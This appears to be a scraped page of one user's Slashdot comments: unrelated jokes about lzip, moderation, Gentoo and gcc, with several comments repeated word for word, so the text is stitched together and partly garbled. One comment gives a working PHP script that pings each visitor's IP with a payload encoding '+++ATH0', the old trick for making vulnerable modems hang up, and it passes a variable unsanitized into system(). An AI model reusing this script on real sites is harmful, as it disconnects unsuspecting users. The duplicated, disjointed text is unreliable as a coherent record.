Yeah, but now everyday I can find a comment that mentions lzip and gets modded up. If you download the "source code" you'll find that the "binary" is actually a picture of a monkey. (if i remember it right)
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Whoever poasted the parent coment is in serius need of a spall cheqar.
God damn 'redudant' moderation. Of course there are going to be redundant comments because a slashdot comment page is static. Posters don't reload it every 10 seconds to make sure their comment doesn't repeat somebody else's.
I don't know much about gcc, but will it remain incompatible with lesser-used apps? Some apps have been completely ignored by their maintainers for years and it would be a pain not being able to compile them.
You can also try Gentoo Linux if you have enough bandwidth. It downloads and compiles the program (with emerge 'app') and dependencies from source, so it is fully optimized for your system. There isn't any dependency hell associated with it (unless you decide to 'emerge unmerge glibc' or something)
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Use the "search" feature of slashdot.
aalib is great, i just wish it had color though.
Yeah, but now everyday I can find a comment that mentions lzip and gets modded up. If you download the "source code" you'll find that the "binary" is actually a picture of a monkey. (if i remember it right)
Whoever poasted the parent coment is in serius need of a spall cheqar.
Why is every comment that mentions lzip moderated as funny?
Why use hotmail anyway? Don't we have linuxmail.org?
Warning! last minute changes to inode.c!
$ cd eulas/ . ../
$ ls -1 | wc -l
412
$ du -h
513M
$ cd
$ tar -czf eulas.tar.gz eulas/
$ ls -lh eulas.tar.gz
2MB eulas.tar.gz
God damn 'redudant' moderation. Of course there are going to be redundant comments because a slashdot comment page is static. Posters don't reload it every 10 seconds to make sure their comment doesn't repeat somebody else's.
I wrote a quick php script to disconnect any 56k user with a bad modem:
<?
$REMOTE_ADDR = $_SERVER[REMOTE_ADDR];
print "Your [modem] at $REMOTE_ADDR is being pinged with +++ATH0<br>";
print "<pre>";
system("/bin/ping -p 2b2b2b415448300d -c 5 $REMOTE_ADDR");
print "</pre>";
print "Ping complete.<br>";
?>
If you have links in your post, you'll get modded up, even if they're broken or incorrect.
just post a link to it on slashdot and BOOM there goes your money.
Slackware 8.1 may not be out of date now, but it will be in several months. What do you do then?
I thought bigger is better. Maybe i should stop making accounts every day.
This is funny. Why was it marked offtopic?
You mean 640 exabytes?
Slashdot requires you to wait 20 seconds between hitting 'reply' and submitting a comment.
It's been 19 seconds since you hit 'reply'!
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By the dotted box letter?
Your question is answered in the Linux ext3 FAQ
It works fine.
You shoud've really looked in a dictionery before tryling to spel 'article'
A nice video card costs $50-$150 dollars.
You can just change the year variable in the URL if you want to view past calendars.
Would you really spend $300 dollars on a watch?
I don't know much about gcc, but will it remain incompatible with lesser-used apps? Some apps have been completely ignored by their maintainers for years and it would be a pain not being able to compile them.
You can also try Gentoo Linux if you have enough bandwidth. It downloads and compiles the program (with emerge 'app') and dependencies from source, so it is fully optimized for your system. There isn't any dependency hell associated with it (unless you decide to 'emerge unmerge glibc' or something)